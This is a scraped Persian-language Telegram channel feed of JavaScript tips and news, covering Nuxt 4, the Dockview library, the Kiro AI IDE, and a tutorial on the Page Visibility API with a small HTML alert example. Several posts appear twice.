در Nuxt.js میتوانید تعیین کنید که کدام composableها هنگام انجام tree shaking از بستهبندی سمت کلاینت یا سرور حذف شوند تا عملکرد بهبود یابد.
این تنظیمات در فایل nuxt.config.ts و در بخش optimization.treeShake.composables انجام میشود.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
این تنظیمات در فایل nuxt.config.ts و در بخش optimization.treeShake.composables انجام میشود.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
**Nuxt نسخهٔ چهارم رسماً منتشر شده است!
🔗 [جزئیات بیشتر](https://nuxt.com/blog/v4)
این نسخه شامل مجموعهای از بهبودهای مهم و کاربردی است:
🐤 **تغییر ساختار پوشههای پروژه (یا همان معماری): اکنون با ساختار جدید شامل
✨ بازطراحی کامل useAsyncData و useFetch: اکنون از واکنشگرایی سطحی (shallow reactivity)، مقدار پیشفرض
🍙 سادگی در tsconfig: حالا فقط یک فایل در ریشهٔ پروژه کافی است.
🩹 هماهنگسازی نامگذاری خودکار کامپوننتها: از این پس نامها بهصورت یکنواخت در ابزار توسعه، ویژگی KeepAlive و سیستم Auto Import نمایش داده و استفاده میشوند.
📦 آمادهٔ ارتقا هستید؟
📘 [راهنمای مهاجرت به Nuxt 4](https://nuxt.com/docs/4.x/getting-started/upgrade#upgrading-nuxt)
📅 نگران نباشید اگر هنوز آماده نیستید —
پشتیبانی از Nuxt 3 تا پایان سال ۲۰۲۵ ادامه دارد، و Nuxt 4 تا میانهٔ سال ۲۰۲۶ پشتیبانی خواهد شد.
در ضمن، نسخهٔ سوم Nitro هم بهزودی منتشر میشود و پایهای برای Nuxt 5 خواهد بود.
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
🔗 [جزئیات بیشتر](https://nuxt.com/blog/v4)
این نسخه شامل مجموعهای از بهبودهای مهم و کاربردی است:
🐤 **تغییر ساختار پوشههای پروژه (یا همان معماری): اکنون با ساختار جدید شامل
app/`، `server/
و modules/
.✨ بازطراحی کامل useAsyncData و useFetch: اکنون از واکنشگرایی سطحی (shallow reactivity)، مقدار پیشفرض
undefined
و اشتراک دادهها بین کامپوننتها پشتیبانی میشود.🍙 سادگی در tsconfig: حالا فقط یک فایل در ریشهٔ پروژه کافی است.
🩹 هماهنگسازی نامگذاری خودکار کامپوننتها: از این پس نامها بهصورت یکنواخت در ابزار توسعه، ویژگی KeepAlive و سیستم Auto Import نمایش داده و استفاده میشوند.
📦 آمادهٔ ارتقا هستید؟
📘 [راهنمای مهاجرت به Nuxt 4](https://nuxt.com/docs/4.x/getting-started/upgrade#upgrading-nuxt)
📅 نگران نباشید اگر هنوز آماده نیستید —
پشتیبانی از Nuxt 3 تا پایان سال ۲۰۲۵ ادامه دارد، و Nuxt 4 تا میانهٔ سال ۲۰۲۶ پشتیبانی خواهد شد.
در ضمن، نسخهٔ سوم Nitro هم بهزودی منتشر میشود و پایهای برای Nuxt 5 خواهد بود.
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
Nuxt
Announcing Nuxt 4.0 · Nuxt Blog
Nuxt 4.0 is here! A thoughtful evolution focused on developer experience, with better project organization, smarter data fetching, and improved type safety.
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Dockview
Dockview یک کتابخانهٔ جاوااسکریپت است که برای ساخت رابطهای کاربری پنلی پیشرفته، مشابه آنچه در محیطهای توسعهٔ یکپارچه (IDE) مدرن دیده میشود، طراحی شده است. این کتابخانه از پنلهایی که قابل جابجایی**، **چسباندن (Docking) و تغییر اندازه هستند پشتیبانی میکند.
گزینهای مناسب برای توسعهٔ وباپلیکیشنهایی است که نیاز به یک فضای کاری منعطف و قابل تنظیم دارند.
🔗https://dockview.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
Dockview یک کتابخانهٔ جاوااسکریپت است که برای ساخت رابطهای کاربری پنلی پیشرفته، مشابه آنچه در محیطهای توسعهٔ یکپارچه (IDE) مدرن دیده میشود، طراحی شده است. این کتابخانه از پنلهایی که قابل جابجایی**، **چسباندن (Docking) و تغییر اندازه هستند پشتیبانی میکند.
گزینهای مناسب برای توسعهٔ وباپلیکیشنهایی است که نیاز به یک فضای کاری منعطف و قابل تنظیم دارند.
🔗https://dockview.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
برای علاقهمندان به آزمایش دستیارهای هوش مصنوعی، شرکت AWS نسخهای اختصاصی از Visual Studio Code با قابلیتهای هوش مصنوعی ارائه کرده است که با نام Kiro شناخته میشود.
ویژگی متمایز Kiro آن است که بر اساس مشخصات پروژه (spec-driven) عمل میکند؛ به این معنا که کاربر ابتدا باید مشخصات و نیازمندیهای پروژه را تعریف کند و سپس Kiro بر مبنای همان مشخصات، ساختار و کدهای پروژه را تولید مینماید.
این رویکرد بسیار هوشمندانه است. البته میتوان این روند را بهصورت دستی نیز پیادهسازی کرد، اما نکته قابل توجه این است که در Kiro این منطق بهصورت درونی در الگوریتم آن طراحی شده است.
در حال حاضر، استفاده از Kiro رایگان است و این ابزار از مدل Claude Sonnet ۴ بهره میبرد.
🔗https://kiro.dev/blog/introducing-kiro
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
ویژگی متمایز Kiro آن است که بر اساس مشخصات پروژه (spec-driven) عمل میکند؛ به این معنا که کاربر ابتدا باید مشخصات و نیازمندیهای پروژه را تعریف کند و سپس Kiro بر مبنای همان مشخصات، ساختار و کدهای پروژه را تولید مینماید.
این رویکرد بسیار هوشمندانه است. البته میتوان این روند را بهصورت دستی نیز پیادهسازی کرد، اما نکته قابل توجه این است که در Kiro این منطق بهصورت درونی در الگوریتم آن طراحی شده است.
در حال حاضر، استفاده از Kiro رایگان است و این ابزار از مدل Claude Sonnet ۴ بهره میبرد.
🔗https://kiro.dev/blog/introducing-kiro
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
kiro.dev
Introducing Kiro
A new agentic IDE that works alongside you from prototype to production
آیا تا به حال خواستهاید پیش از بستهشدن صفحهٔ وب توسط کاربر، اطلاعاتی را ذخیره کنید؟
در جاوااسکریپت رویدادهایی وجود دارد که با استفاده از آنها میتوان درخواستهایی به سرور ارسال کرد تا دادههای مفید ذخیره شوند. اما دقت داشته باشید که در این موقعیتها، درخواستهای همگام (synchronous) قابل استفاده نیستند؛ تنها روشهای ناهمگام مانند fetch یا sendBeacon قابل اتکا هستند.
متأسفانه بسیاری از اپلیکیشنهای وب در این زمینه عملکرد درستی ندارند، چرا که چرخهٔ عمر برنامه در موبایل را در نظر نمیگیرند: یا به رویدادهایی گوش میدهند که ممکن است اصلاً اجرا نشوند، یا این مشکل را بهطور کلی نادیده میگیرند، که در نهایت منجر به تجربهای ضعیف برای کاربر میشود. البته باید منصف بود؛ پلتفرم وب نیز با ارائهٔ رویدادهای متنوعی مانند visibilityState، pageshow، pagehide، beforeunload و unload، کار را ساده نکرده است. حال سوال اینجاست: از کدام رویداد باید استفاده کرد و چه زمانی؟
چرا نمیتوان روی رویدادهای unload و beforeunload حساب کرد؟
در پلتفرمهای موبایل نمیتوان انتظار داشت که رویدادهای pagehide، beforeunload یا unload همیشه اجرا شوند. این مسئله ایرادی در مرورگر مورد علاقهٔ شما نیست؛ بلکه ناشی از نحوهٔ عملکرد سیستمعاملهای موبایل است. یک اپلیکیشن فعال میتواند به چند روش وارد وضعیت پسزمینه شود:
+ کاربر روی یک اعلان کلیک کرده و وارد اپلیکیشن دیگری شود؛
+ کاربر با استفاده از تسکسوئیچر (Task Switcher) به برنامهای دیگر برود؛
+ با زدن دکمهٔ "خانه" به صفحهٔ اصلی گوشی بازگردد؛
+ سیستمعامل بهصورت خودکار برنامه را به پسزمینه ببرد — مثلاً هنگام دریافت تماس.
پس از آن، اپلیکیشن میتواند بدون هیچ هشدار خاصی خاتمه یابد — مثلاً سیستمعامل فرآیند را برای آزادسازی منابع متوقف کند، یا کاربر برنامه را از تسکمنیجر حذف کند. بنابراین باید فرض را بر این گذاشت که خاموشیهای "تمیز" که در آن رویدادهایی مانند pagehide و unload اجرا میشوند، استثناء هستند، نه قاعده.
Page Visibility API این امکان را برای توسعهدهندگان فراهم میسازد تا از وضعیت نمایش یا پنهان بودن صفحه آگاه شوند.
این API عمدتاً از ویژگیها و رویدادهای زیر بهره میبرد:
*
* رویداد
با استفاده از این API، میتوانید رفتار اپلیکیشن خود را بر اساس قابلمشاهده بودن یا نبودن صفحه تنظیم کنید.
---
### نمونهٔ پیادهسازی
کد زیر نشان میدهد که چگونه میتوان هنگام قابلمشاهده شدن صفحه، یک پیام هشدار نمایش داد:
در این مثال، تابع
در جاوااسکریپت رویدادهایی وجود دارد که با استفاده از آنها میتوان درخواستهایی به سرور ارسال کرد تا دادههای مفید ذخیره شوند. اما دقت داشته باشید که در این موقعیتها، درخواستهای همگام (synchronous) قابل استفاده نیستند؛ تنها روشهای ناهمگام مانند fetch یا sendBeacon قابل اتکا هستند.
متأسفانه بسیاری از اپلیکیشنهای وب در این زمینه عملکرد درستی ندارند، چرا که چرخهٔ عمر برنامه در موبایل را در نظر نمیگیرند: یا به رویدادهایی گوش میدهند که ممکن است اصلاً اجرا نشوند، یا این مشکل را بهطور کلی نادیده میگیرند، که در نهایت منجر به تجربهای ضعیف برای کاربر میشود. البته باید منصف بود؛ پلتفرم وب نیز با ارائهٔ رویدادهای متنوعی مانند visibilityState، pageshow، pagehide، beforeunload و unload، کار را ساده نکرده است. حال سوال اینجاست: از کدام رویداد باید استفاده کرد و چه زمانی؟
چرا نمیتوان روی رویدادهای unload و beforeunload حساب کرد؟
در پلتفرمهای موبایل نمیتوان انتظار داشت که رویدادهای pagehide، beforeunload یا unload همیشه اجرا شوند. این مسئله ایرادی در مرورگر مورد علاقهٔ شما نیست؛ بلکه ناشی از نحوهٔ عملکرد سیستمعاملهای موبایل است. یک اپلیکیشن فعال میتواند به چند روش وارد وضعیت پسزمینه شود:
+ کاربر روی یک اعلان کلیک کرده و وارد اپلیکیشن دیگری شود؛
+ کاربر با استفاده از تسکسوئیچر (Task Switcher) به برنامهای دیگر برود؛
+ با زدن دکمهٔ "خانه" به صفحهٔ اصلی گوشی بازگردد؛
+ سیستمعامل بهصورت خودکار برنامه را به پسزمینه ببرد — مثلاً هنگام دریافت تماس.
پس از آن، اپلیکیشن میتواند بدون هیچ هشدار خاصی خاتمه یابد — مثلاً سیستمعامل فرآیند را برای آزادسازی منابع متوقف کند، یا کاربر برنامه را از تسکمنیجر حذف کند. بنابراین باید فرض را بر این گذاشت که خاموشیهای "تمیز" که در آن رویدادهایی مانند pagehide و unload اجرا میشوند، استثناء هستند، نه قاعده.
Page Visibility API این امکان را برای توسعهدهندگان فراهم میسازد تا از وضعیت نمایش یا پنهان بودن صفحه آگاه شوند.
این API عمدتاً از ویژگیها و رویدادهای زیر بهره میبرد:
*
document.visibilityState
: یک رشته (string) برمیگرداند که نشاندهندهٔ وضعیت کنونی سند است. مقادیر ممکن شامل visible
(قابلمشاهده) و hidden
(پنهان) میباشد.* رویداد
visibilitychange
: هنگامی اجرا میشود که وضعیت نمایش سند تغییر کند.با استفاده از این API، میتوانید رفتار اپلیکیشن خود را بر اساس قابلمشاهده بودن یا نبودن صفحه تنظیم کنید.
---
### نمونهٔ پیادهسازی
کد زیر نشان میدهد که چگونه میتوان هنگام قابلمشاهده شدن صفحه، یک پیام هشدار نمایش داد:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Visibility Test</title>
<script>
function updateVisibility() {
if (document.visibilityState === 'visible') {
alert('صفحه اکنون قابلمشاهده است');
}
}
document.addEventListener("visibilitychange", updateVisibility);
// بررسی وضعیت اولیهٔ نمایش صفحه
updateVisibility();
</script>
</head>
<body>
<h1>صفحهٔ آزمایشی</h1>
<p>این یک صفحهٔ تست برای بررسی رویدادهای تغییر در نمایش است.</p>
</body>
</html>
در این مثال، تابع
updateVisibility
بررسی میکند که آیا صفحه در حال حاضر قابلمشاهده است یا نه، و در صورت تأیید، پیام هشدار را نمایش میدهد. این تابع هم هنگام بارگذاری صفحه و هم هنگام تغییر وضعیت نمایش فراخوانی میشود.